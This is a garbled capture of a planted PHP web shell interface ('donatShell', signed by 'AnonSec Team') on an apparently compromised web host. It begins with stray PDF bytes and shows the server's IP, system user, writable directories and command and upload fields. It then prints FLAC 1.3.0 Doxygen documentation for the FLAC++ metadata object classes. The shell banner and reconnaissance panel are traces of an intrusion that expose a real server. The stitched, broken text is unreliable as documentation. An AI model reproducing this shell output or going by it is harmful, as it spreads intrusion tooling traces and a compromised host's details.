%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/flac-devel-1.3.0/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/flac-devel-1.3.0/api/group__flacpp__metadata__object.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.5"/>
<title>FLAC: FLAC++/metadata.h: metadata object classes</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
 <tbody>
 <tr style="height: 56px;">
  <td style="padding-left: 0.5em;">
   <div id="projectname">FLAC
   &#160;<span id="projectnumber">1.3.0</span>
   </div>
  </td>
 </tr>
 </tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.5 -->
  <div id="navrow1" class="tabs">
    <ul class="tablist">
      <li><a href="index.html"><span>Main&#160;Page</span></a></li>
      <li><a href="modules.html"><span>Modules</span></a></li>
      <li><a href="annotated.html"><span>Classes</span></a></li>
      <li><a href="files.html"><span>Files</span></a></li>
    </ul>
  </div>
</div><!-- top -->
<div class="header">
  <div class="summary">
<a href="#nested-classes">Classes</a> &#124;
<a href="#func-members">Functions</a>  </div>
  <div class="headertitle">
<div class="title">FLAC++/metadata.h: metadata object classes<div class="ingroups"><a class="el" href="group__flacpp__metadata.html">FLAC++/metadata.h: metadata interfaces</a></div></div>  </div>
</div><!--header-->
<div class="contents">
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a>
Classes</h2></td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1Prototype.html">FLAC::Metadata::Prototype</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1StreamInfo.html">FLAC::Metadata::StreamInfo</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1Padding.html">FLAC::Metadata::Padding</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1Application.html">FLAC::Metadata::Application</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1SeekTable.html">FLAC::Metadata::SeekTable</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1VorbisComment.html">FLAC::Metadata::VorbisComment</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1CueSheet.html">FLAC::Metadata::CueSheet</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1Picture.html">FLAC::Metadata::Picture</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFLAC_1_1Metadata_1_1Unknown.html">FLAC::Metadata::Unknown</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="func-members"></a>
Functions</h2></td></tr>
<tr class="memitem:gae18d91726a320349b2c3fb45e79d21fc"><td class="memItemLeft" align="right" valign="top">Prototype *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#gae18d91726a320349b2c3fb45e79d21fc">FLAC::Metadata::clone</a> (const Prototype *)</td></tr>
<tr class="separator:gae18d91726a320349b2c3fb45e79d21fc"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga57adba3b3a548f7d9d8803762a8216d6"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#ga57adba3b3a548f7d9d8803762a8216d6">FLAC::Metadata::Prototype::is_valid</a> () const </td></tr>
<tr class="separator:ga57adba3b3a548f7d9d8803762a8216d6"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gadad62834e7055e4996f3f6791553a214"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#gadad62834e7055e4996f3f6791553a214">FLAC::Metadata::Prototype::operator const ::FLAC__StreamMetadata *</a> () const </td></tr>
<tr class="separator:gadad62834e7055e4996f3f6791553a214"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga6737ae25a19d76b88d9b2b4b7070d0cb"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#ga6737ae25a19d76b88d9b2b4b7070d0cb">FLAC::Metadata::Prototype::operator==</a> (const Prototype &amp;) const </td></tr>
<tr class="separator:ga6737ae25a19d76b88d9b2b4b7070d0cb"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga32f7d6acac0c6d49ff6b0f26c65a7f73"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#ga32f7d6acac0c6d49ff6b0f26c65a7f73">FLAC::Metadata::Prototype::operator==</a> (const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> &amp;) const </td></tr>
<tr class="separator:ga32f7d6acac0c6d49ff6b0f26c65a7f73"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga2c78b58871feecfe32ff90c53ca1c7e1"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#ga2c78b58871feecfe32ff90c53ca1c7e1">FLAC::Metadata::Prototype::operator==</a> (const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> *) const </td></tr>
<tr class="separator:ga2c78b58871feecfe32ff90c53ca1c7e1"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga54a7ff9432ea6e2ec6fccde29df97e7d"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#ga54a7ff9432ea6e2ec6fccde29df97e7d">FLAC::Metadata::Prototype::operator!=</a> (const Prototype &amp;) const </td></tr>
<tr class="separator:ga54a7ff9432ea6e2ec6fccde29df97e7d"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:gaf946e496c12c9ba30ce729dd76f8555b"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#gaf946e496c12c9ba30ce729dd76f8555b">FLAC::Metadata::Prototype::operator!=</a> (const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> &amp;) const </td></tr>
<tr class="separator:gaf946e496c12c9ba30ce729dd76f8555b"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ga3ecae6a5b7caf789c484b86da262e7f7"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="group__flacpp__metadata__object.html#ga3ecae6a5b7caf789c484b86da262e7f7">FLAC::Metadata::Prototype::operator!=</a> (const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> *) const </td></tr>
<tr class="separator:ga3ecae6a5b7caf789c484b86da262e7f7"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<p>This module contains classes representing FLAC metadata blocks in memory.</p>
<p>The behavior closely mimics the C layer interface; be sure to read the detailed description of the <a class="el" href="group__flac__metadata__object.html">C metadata object module </a>.</p>
<p>Any time a metadata object is constructed or assigned, you should check is_valid() to make sure the underlying <a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> object was able to be created.</p>
<dl class="section warning"><dt>Warning</dt><dd>When the get_*() methods of any metadata object method return you a const pointer, DO NOT disobey and write into it. Always use the set_*() methods. </dd></dl>
<h2 class="groupheader">Function Documentation</h2>
<a class="anchor" id="gae18d91726a320349b2c3fb45e79d21fc"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">Prototype* FLAC::Metadata::clone </td>
          <td>(</td>
          <td class="paramtype">const Prototype *&#160;</td>
          <td class="paramname"></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Create a deep copy of an object and return it. </p>

</div>
</div>
<a class="anchor" id="ga6737ae25a19d76b88d9b2b4b7070d0cb"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">bool FLAC::Metadata::Prototype::operator== </td>
          <td>(</td>
          <td class="paramtype">const <a class="el" href="classFLAC_1_1Metadata_1_1Prototype.html">Prototype</a> &amp;&#160;</td>
          <td class="paramname"><em>object</em></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Check for equality, performing a deep compare by following pointers. </p>

<p>References <a class="el" href="group__flac__metadata__object.html#ga6853bcafe731b1db37105d49f3085349">FLAC__metadata_object_is_equal()</a>.</p>

<p>Referenced by <a class="el" href="group__flacpp__metadata__object.html#ga54a7ff9432ea6e2ec6fccde29df97e7d">FLAC::Metadata::Prototype::operator!=()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1StreamInfo.html#af0d9d9b8c04978a557f31405f84bc5bc">FLAC::Metadata::StreamInfo::operator==()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1Padding.html#a9e904b10ec56b516c481cb8322151471">FLAC::Metadata::Padding::operator==()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1Application.html#a8e107fdc72e0afee4ee381f375c118df">FLAC::Metadata::Application::operator==()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1SeekTable.html#af17b7d85c8077020a69549d520b18542">FLAC::Metadata::SeekTable::operator==()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1VorbisComment.html#a426e3fcf457530f18ca37e878e1f52db">FLAC::Metadata::VorbisComment::operator==()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1CueSheet.html#a15f7a6ef9eb4e468c785e8b592154ac4">FLAC::Metadata::CueSheet::operator==()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1Picture.html#ac704e9f8a9de464b480b00e87c26eaeb">FLAC::Metadata::Picture::operator==()</a>, and <a class="el" href="classFLAC_1_1Metadata_1_1Unknown.html#a39867d2a96585a55eac42e490704dd6b">FLAC::Metadata::Unknown::operator==()</a>.</p>

</div>
</div>
<a class="anchor" id="ga32f7d6acac0c6d49ff6b0f26c65a7f73"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">bool FLAC::Metadata::Prototype::operator== </td>
          <td>(</td>
          <td class="paramtype">const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> &amp;&#160;</td>
          <td class="paramname"><em>object</em></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Check for equality, performing a deep compare by following pointers. </p>

<p>References <a class="el" href="group__flac__metadata__object.html#ga6853bcafe731b1db37105d49f3085349">FLAC__metadata_object_is_equal()</a>.</p>

</div>
</div>
<a class="anchor" id="ga2c78b58871feecfe32ff90c53ca1c7e1"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">bool FLAC::Metadata::Prototype::operator== </td>
          <td>(</td>
          <td class="paramtype">const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> *&#160;</td>
          <td class="paramname"><em>object</em></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Check for equality, performing a deep compare by following pointers. </p>

<p>References <a class="el" href="group__flac__metadata__object.html#ga6853bcafe731b1db37105d49f3085349">FLAC__metadata_object_is_equal()</a>.</p>

</div>
</div>
<a class="anchor" id="ga54a7ff9432ea6e2ec6fccde29df97e7d"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">bool FLAC::Metadata::Prototype::operator!= </td>
          <td>(</td>
          <td class="paramtype">const <a class="el" href="classFLAC_1_1Metadata_1_1Prototype.html">Prototype</a> &amp;&#160;</td>
          <td class="paramname"><em>object</em></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Check for inequality, performing a deep compare by following pointers. </p>

<p>References <a class="el" href="group__flacpp__metadata__object.html#ga6737ae25a19d76b88d9b2b4b7070d0cb">FLAC::Metadata::Prototype::operator==()</a>.</p>

<p>Referenced by <a class="el" href="classFLAC_1_1Metadata_1_1StreamInfo.html#a0612e481e3e2d1885b61beb8284565df">FLAC::Metadata::StreamInfo::operator!=()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1Padding.html#a21d2734b6dc97e537806eef07f0db5be">FLAC::Metadata::Padding::operator!=()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1Application.html#a381c844b7a30a0d427495d40a04f390f">FLAC::Metadata::Application::operator!=()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1SeekTable.html#ab120ab96e99d68d607badd473b8a74eb">FLAC::Metadata::SeekTable::operator!=()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1VorbisComment.html#a534ad61a7bf4580b786fc5ff7de1bdb7">FLAC::Metadata::VorbisComment::operator!=()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1CueSheet.html#a4e9388122366f6eecd3c61eb4a142dfb">FLAC::Metadata::CueSheet::operator!=()</a>, <a class="el" href="classFLAC_1_1Metadata_1_1Picture.html#afa4be54429fc22789d2251b165cb47e9">FLAC::Metadata::Picture::operator!=()</a>, and <a class="el" href="classFLAC_1_1Metadata_1_1Unknown.html#a73017531fd845a31bb7cd731261e1aad">FLAC::Metadata::Unknown::operator!=()</a>.</p>

</div>
</div>
<a class="anchor" id="gaf946e496c12c9ba30ce729dd76f8555b"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">bool FLAC::Metadata::Prototype::operator!= </td>
          <td>(</td>
          <td class="paramtype">const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> &amp;&#160;</td>
          <td class="paramname"><em>object</em></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Check for inequality, performing a deep compare by following pointers. </p>

<p>References <a class="el" href="group__flacpp__metadata__object.html#ga6737ae25a19d76b88d9b2b4b7070d0cb">FLAC::Metadata::Prototype::operator==()</a>.</p>

</div>
</div>
<a class="anchor" id="ga3ecae6a5b7caf789c484b86da262e7f7"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">bool FLAC::Metadata::Prototype::operator!= </td>
          <td>(</td>
          <td class="paramtype">const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> *&#160;</td>
          <td class="paramname"><em>object</em></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Check for inequality, performing a deep compare by following pointers. </p>

<p>References <a class="el" href="group__flacpp__metadata__object.html#ga6737ae25a19d76b88d9b2b4b7070d0cb">FLAC::Metadata::Prototype::operator==()</a>.</p>

</div>
</div>
<a class="anchor" id="ga57adba3b3a548f7d9d8803762a8216d6"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">bool FLAC::Metadata::Prototype::is_valid </td>
          <td>(</td>
          <td class="paramname"></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Returns <code>true</code> if the object was correctly constructed (i.e. the underlying <a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> object was properly allocated), else <code>false</code>. </p>

</div>
</div>
<a class="anchor" id="gadad62834e7055e4996f3f6791553a214"></a>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
  <tr>
  <td class="mlabels-left">
      <table class="memname">
        <tr>
          <td class="memname">FLAC::Metadata::Prototype::operator const ::<a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> * </td>
          <td>(</td>
          <td class="paramname"></td><td>)</td>
          <td> const</td>
        </tr>
      </table>
  </td>
  <td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span>  </td>
  </tr>
</table>
</div><div class="memdoc">
<p>Returns a pointer to the underlying <a class="el" href="structFLAC____StreamMetadata.html">FLAC__StreamMetadata</a> object. This can be useful for plugging any holes between the C++ and C interfaces.</p>
<dl class="section user"><dt>Assertions:</dt><dd><div class="fragment"><div class="line"><a class="code" href="group__flacpp__metadata__object.html#ga57adba3b3a548f7d9d8803762a8216d6">is_valid</a>() </div>
</div><!-- fragment --> </dd></dl>

</div>
</div>
</div><!-- contents -->

<hr size="1">
<div class="copyright">
	<!-- @@@ oh so hacky -->
	<table>
		<tr>
			<td align="left">
				Copyright (c) 2000-2009  Josh Coalson
				Copyright (c) 2011-2013  Xiph.Org Foundation
			</td>
			<td width="1%" align="right">
				<a href="http://sourceforge.net"><img src="http://sflogo.sourceforge.net/sflogo.php?group_id=13478&amp;type=1" width="88" height="31" border="0" alt="SourceForge.net Logo" /></a>
			</td>
		</tr>
	</table>
</div>
<!-- Copyright (c) 2000-2009  Josh Coalson -->
<!-- Copyright (c) 2011-2013  Xiph.Org Foundation -->
<!-- Permission is granted to copy, distribute and/or modify this document -->
<!-- under the terms of the GNU Free Documentation License, Version 1.1 -->
<!-- or any later version published by the Free Software Foundation; -->
<!-- with no invariant sections. -->
<!-- A copy of the license can be found at http://www.gnu.org/copyleft/fdl.html -->
</body>
</html>

Anon7 - 2022
AnonSec Team